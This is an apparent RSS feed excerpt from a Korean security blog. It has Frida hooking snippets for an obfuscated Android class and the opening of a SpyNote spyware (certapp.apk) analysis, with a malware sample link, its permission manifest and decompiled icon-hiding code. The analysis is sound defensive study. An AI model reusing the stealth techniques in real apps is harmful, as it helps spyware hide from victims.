&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 46.png&quot; data-origin-width=&quot;1203&quot; data-origin-height=&quot;526&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLM4BH/btsCQrS8ryh/N55jpdWichUv8MZlw53deK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLM4BH/btsCQrS8ryh/N55jpdWichUv8MZlw53deK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLM4BH/btsCQrS8ryh/N55jpdWichUv8MZlw53deK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLM4BH%2FbtsCQrS8ryh%2FN55jpdWichUv8MZlw53deK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1203&quot; height=&quot;526&quot; data-filename=&quot;Untitled 46.png&quot; data-origin-width=&quot;1203&quot; data-origin-height=&quot;526&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;함수 코드&lt;/p&gt;
&lt;pre id=&quot;code_1703758595308&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;let b = Java.use(&quot;keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.heyskfqaiyiagrkxrskdbenbypsxoghbajiuihcxiyrrhzcmtq27$b&quot;);
b[&quot;run&quot;].implementation = function () {
    console.log('run is called');
    let ret = this.run();
    console.log('run ret value is ' + ret);
    return ret;
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;후킹코드 제작&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;http://linforum.kr/bbs/board.php?bo_table=android&amp;amp;wr_id=532&quot;&gt;http://linforum.kr/bbs/board.php?bo_table=android&amp;amp;wr_id=532&lt;/a&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1703758616630&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/**
 * It should be launched earlier to be aware of a maximum quantity of file descriptors.
 *
 * @author @FrenchYeti
 */

Java.perform(function () {
  var ThreadDef = Java.use('java.lang.Thread');
  var ThreadObj = ThreadDef.$new();

  function stackTrace() {
    var stack = ThreadObj.currentThread().getStackTrace();
    for (var i = 0; i &amp;lt; stack.length; i++) {
      console.log(i + ' =&amp;gt; ' + stack[i].toString());
    }
    console.log('-------------------------------------');
  }

  var b = Java.use(
    'keen.cache.qfjmcewnnxsjvwarbjgoxrqijnavtgyoxwtkygqqumlggkfnla2.heyskfqaiyiagrkxrskdbenbypsxoghbajiuihcxiyrrhzcmtq27$b'
  );
  b.run.implementation = function () {
    console.log('run is called');
    stackTrace();
    console.log('run ret value is ' + ret);
    return ret;
  };
});&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 47.png&quot; data-origin-width=&quot;1263&quot; data-origin-height=&quot;379&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c75gaO/btsCKpPQ50C/2CqcAfUkYXy2tuACIjexdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c75gaO/btsCKpPQ50C/2CqcAfUkYXy2tuACIjexdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c75gaO/btsCKpPQ50C/2CqcAfUkYXy2tuACIjexdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc75gaO%2FbtsCKpPQ50C%2F2CqcAfUkYXy2tuACIjexdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1263&quot; height=&quot;379&quot; data-filename=&quot;Untitled 47.png&quot; data-origin-width=&quot;1263&quot; data-origin-height=&quot;379&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만&amp;hellip;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;socket은 날라가고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;686&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WYniU/btsCF6QRT1O/BNSRNxDoXeU1g1SakIuxH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WYniU/btsCF6QRT1O/BNSRNxDoXeU1g1SakIuxH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WYniU/btsCF6QRT1O/BNSRNxDoXeU1g1SakIuxH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWYniU%2FbtsCF6QRT1O%2FBNSRNxDoXeU1g1SakIuxH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1940&quot; height=&quot;686&quot; data-origin-width=&quot;1940&quot; data-origin-height=&quot;686&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Android</category>
      <author>우제혁</author>
      <guid isPermaLink="true">https://wpgur.tistory.com/205</guid>
      <comments>https://wpgur.tistory.com/205#entry205comment</comments>
      <pubDate>Thu, 28 Dec 2023 19:17:25 +0900</pubDate>
    </item>
    <item>
      <title>SpyNote - certapp.apk 악성앱 분석</title>
      <link>https://wpgur.tistory.com/204</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;스파이웨어, SpyNote&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 사용자 데이터를 수집하고 그로부터 이익을 얻거나 간첩 활동을 수행하는 데 사용되지만 SpyNote는 현재 은행 사기에도 사용되고 있다. 다른 연구자들에 의해서도 유사한 캠페인이 보고되고 있다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;악성앱 개요&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱 분석 자료: &lt;a href=&quot;https://www.cleafy.com/cleafy-labs/spynote-continues-to-attack-financial-institutions&quot;&gt;https://www.cleafy.com/cleafy-labs/spynote-continues-to-attack-financial-institutions&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1803&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Rw1SD/btsCKs6OWeK/k7YJUOzoRu8cgZB2InTSkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Rw1SD/btsCKs6OWeK/k7YJUOzoRu8cgZB2InTSkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Rw1SD/btsCKs6OWeK/k7YJUOzoRu8cgZB2InTSkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRw1SD%2FbtsCKs6OWeK%2Fk7YJUOzoRu8cgZB2InTSkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;142&quot; height=&quot;133&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1803&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;APP 이름:certapp.apk&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운로드 링크&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://bazaar.abuse.ch/sample/7a16952bea9714cad6330960898edf6262c0e5e19d0b47716e31b6cc24463e07/&quot;&gt;https://bazaar.abuse.ch/sample/7a16952bea9714cad6330960898edf6262c0e5e19d0b47716e31b6cc24463e07/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱 설치 환경 : NOX 애뮬레이터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분석 도구 : ADB , APK EASY TOOL , jadx-gui&lt;/p&gt;
&lt;h1&gt;악성 앱 분석&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 앱은 동작 방식과 코드가 유사함으로 certapp.apk 를 기준으로 분석했다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;앱 권한 허용 범위&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정적 분석(AndroidManifest.xml 에서의 권한 설정)&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;&amp;lt;manifest xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot; android:versionCode=&quot;52519135&quot; android:versionName=&quot;52.51.91.35&quot; android:compileSdkVersion=&quot;23&quot; android:compileSdkVersionCodename=&quot;6.0-2438415&quot; package=&quot;in.titanium.cooked&quot; platformBuildVersionCode=&quot;30&quot; platformBuildVersionName=&quot;11&quot;&amp;gt;
    &amp;lt;uses-sdk android:minSdkVersion=&quot;16&quot; android:targetSdkVersion=&quot;29&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.SEND_SMS&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.PROCESS_OUTGOING_CALLS&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.SET_WALLPAPER&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.READ_SMS&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.READ_CALL_LOG&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.READ_CONTACTS&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.GET_ACCOUNTS&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.CAMERA&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.RECORD_AUDIO&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.ACCESS_COARSE_LOCATION&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.ACCESS_FINE_LOCATION&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.CALL_PHONE&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.DISABLE_KEYGUARD&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.FOREGROUND_SERVICE&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.READ_EXTERNAL_STORAGE&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.WRITE_EXTERNAL_STORAGE&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.BACKGROUND_ACTIVITY_STARTER&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.RECEIVE_BOOT_COMPLETED&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;oppo.permission.OPPO_COMPONENT_SAFE&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.INTERNET&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.SYSTEM_ALERT_WINDOW&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.READ_PHONE_STATE&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.WAKE_LOCK&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;com.android.alarm.permission.SET_ALARM&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.ACCESS_NETWORK_STATE&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.ACCESS_WIFI_STATE&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.CHANGE_WIFI_STATE&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;com.android.launcher.permission.INSTALL_SHORTCUT&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.REQUEST_INSTALL_PACKAGES&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.REQUEST_DELETE_PACKAGES&quot;/&amp;gt;
    &amp;lt;uses-permission android:name=&quot;android.permission.USE_FULL_SCREEN_INTENT&quot;/&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 해석&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더보기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  코드분석&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;android.permission.SEND_SMS&lt;/b&gt;: SMS 메시지 보내기 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.PROCESS_OUTGOING_CALLS&lt;/b&gt;: 발신 전화 처리 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.SET_WALLPAPER&lt;/b&gt;: 배경 화면 설정 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.READ_SMS&lt;/b&gt;: SMS 메시지 읽기 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.READ_CALL_LOG&lt;/b&gt;: 통화 기록 읽기 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.READ_CONTACTS&lt;/b&gt;: 연락처 읽기 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.GET_ACCOUNTS&lt;/b&gt;: 계정 정보 가져오기 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.CAMERA&lt;/b&gt;: 카메라 접근 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.RECORD_AUDIO&lt;/b&gt;: 오디오 녹음 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.ACCESS_COARSE_LOCATION&lt;/b&gt;: 대략적인 위치 정보 접근 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.ACCESS_FINE_LOCATION&lt;/b&gt;: 정확한 위치 정보 접근 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.CALL_PHONE&lt;/b&gt;: 전화 걸기 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.DISABLE_KEYGUARD&lt;/b&gt;: 잠금화면 비활성화 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.FOREGROUND_SERVICE&lt;/b&gt;: 포그라운드 서비스 사용 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.READ_EXTERNAL_STORAGE&lt;/b&gt;: 외부 저장소 읽기 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.WRITE_EXTERNAL_STORAGE&lt;/b&gt;: 외부 저장소 쓰기 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.BACKGROUND_ACTIVITY_STARTER&lt;/b&gt;: 백그라운드 액티비티 스타터 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.RECEIVE_BOOT_COMPLETED&lt;/b&gt;: 부팅 시 작동 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;oppo.permission.OPPO_COMPONENT_SAFE&lt;/b&gt;: OPPO 디바이스에서의 컴포넌트 안전성 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.INTERNET&lt;/b&gt;: 인터넷 접근 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.SYSTEM_ALERT_WINDOW&lt;/b&gt;: 시스템 경고 창 표시 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.READ_PHONE_STATE&lt;/b&gt;: 전화 상태 읽기 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.WAKE_LOCK&lt;/b&gt;: 디바이스 화면 깨우기 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;com.android.alarm.permission.SET_ALARM&lt;/b&gt;: 알람 설정 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.ACCESS_NETWORK_STATE&lt;/b&gt;: 네트워크 상태 접근 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.ACCESS_WIFI_STATE&lt;/b&gt;: Wi-Fi 상태 접근 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.CHANGE_WIFI_STATE&lt;/b&gt;: Wi-Fi 상태 변경 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS&lt;/b&gt;: 배터리 최적화 무시 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;com.android.launcher.permission.INSTALL_SHORTCUT&lt;/b&gt;: 바로 가기 설치 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.REQUEST_INSTALL_PACKAGES&lt;/b&gt;: 앱 설치 권한 요청 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.REQUEST_DELETE_PACKAGES&lt;/b&gt;: 앱 삭제 권한 요청 권한.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;android.permission.USE_FULL_SCREEN_INTENT&lt;/b&gt;: 전체 화면 인텐트 사용 권한.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱에 대한 접근성을 허용하면 다음과 같이 7개의 권한이 주어진다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;772&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qXKRK/btsCOAQi4u6/sE0sDQkx3OQxdMfEf8dJkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qXKRK/btsCOAQi4u6/sE0sDQkx3OQxdMfEf8dJkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qXKRK/btsCOAQi4u6/sE0sDQkx3OQxdMfEf8dJkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqXKRK%2FbtsCOAQi4u6%2FsE0sDQkx3OQxdMfEf8dJkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;772&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;772&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bERUMu/btsCMv23OKc/B9bPmBQgHiXmXWfvx7nkh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bERUMu/btsCMv23OKc/B9bPmBQgHiXmXWfvx7nkh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bERUMu/btsCMv23OKc/B9bPmBQgHiXmXWfvx7nkh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbERUMu%2FbtsCMv23OKc%2FB9bPmBQgHiXmXWfvx7nkh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;130&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;앱 아이콘 숨기기&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;2298&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AStwN/btsCK7nS0vk/f0k0cAKGAMogMMa5Gxu68k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AStwN/btsCK7nS0vk/f0k0cAKGAMogMMa5Gxu68k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AStwN/btsCK7nS0vk/f0k0cAKGAMogMMa5Gxu68k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAStwN%2FbtsCK7nS0vk%2Ff0k0cAKGAMogMMa5Gxu68k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;97&quot; height=&quot;2298&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;2298&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;정적 분석(아이콘 은닉)&lt;/h4&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;public static void k(Context context, String str) {
        ComponentName componentName;
        if (str != null) {
            try {
                String string = context.getResources().getString(R.string.pvczpromisedt64);
                c = string;
                if (string.charAt(0) == w) {
                    PackageManager packageManager = context.getPackageManager();
                    if (C71.c == &quot;C&quot;) {
                        packageManager.setComponentEnabledSetting(new ComponentName(context, &quot;in.titanium.costm&quot;), 1, 1);
                        componentName = new ComponentName(context, &quot;in.titanium.MainActive&quot;);
                    } else if (C71.c != &quot;K&quot;) {
                        return;
                    } else {
                        componentName = new ComponentName(context, &quot;in.titanium.MainActive&quot;);
                        if (packageManager.getComponentEnabledSetting(componentName) == 2) {
                            return;
                        }
                    }
                    packageManager.setComponentEnabledSetting(componentName, 2, 1);
                }
            } catch (Exception unused) {
            }
        }
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;591&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dgCnQz/btsCOGXl9zB/7ftLnnS553uE7DleckciNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dgCnQz/btsCOGXl9zB/7ftLnnS553uE7DleckciNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dgCnQz/btsCOGXl9zB/7ftLnnS553uE7DleckciNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdgCnQz%2FbtsCOGXl9zB%2F7ftLnnS553uE7DleckciNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;591&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;591&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적으로 packageManager.setComponentEnabledSetting(...) 매서드를 통해 아이콘을 은닉하는데 이것의 원리는 컴포넌트(in.titanium.costm)를 활성화하여 화면에 나타나지 않도록 하는 것이다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;패키지 조회를 통해 앱 설치 확인 + 아이콘 은닉 모습&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;892&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgSIXc/btsCP5bwLBz/vWjwSOkb0V2aAQoFeSySZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgSIXc/btsCP5bwLBz/vWjwSOkb0V2aAQoFeSySZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgSIXc/btsCP5bwLBz/vWjwSOkb0V2aAQoFeSySZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgSIXc%2FbtsCP5bwLBz%2FvWjwSOkb0V2aAQoFeSySZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;892&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;892&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정 앱을 통해 악성 앱이 깔려있는 모습이 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled 7.png&quot; data-origin-width=&quot;893&quot; data-origin-height=&quot;663&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qVRCS/btsCEKAnb3E/CLucf5F9JlKjOX8wkp7O0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qVRCS/btsCEKAnb3E/CLucf5F9JlKjOX8wkp7O0k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qVRCS/btsCEKAnb3E/CLucf5F9JlKjOX8wkp7O0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqVRCS%2FbtsCEKAnb3E%2FCLucf5F9JlKjOX8wkp7O0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;893&quot; height=&quot;663&quot; data-filename=&quot;Untitled 7.png&quot; data-origin-width=&quot;893&quot; data-origin-height=&quot;663&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;앱 권한 자동 허용&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;앱 강제 실행&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱이 확인되지 않는 관계로 adb를 사용하여 강제 실행해주는 방법을 선택했다.&lt;/p&gt;
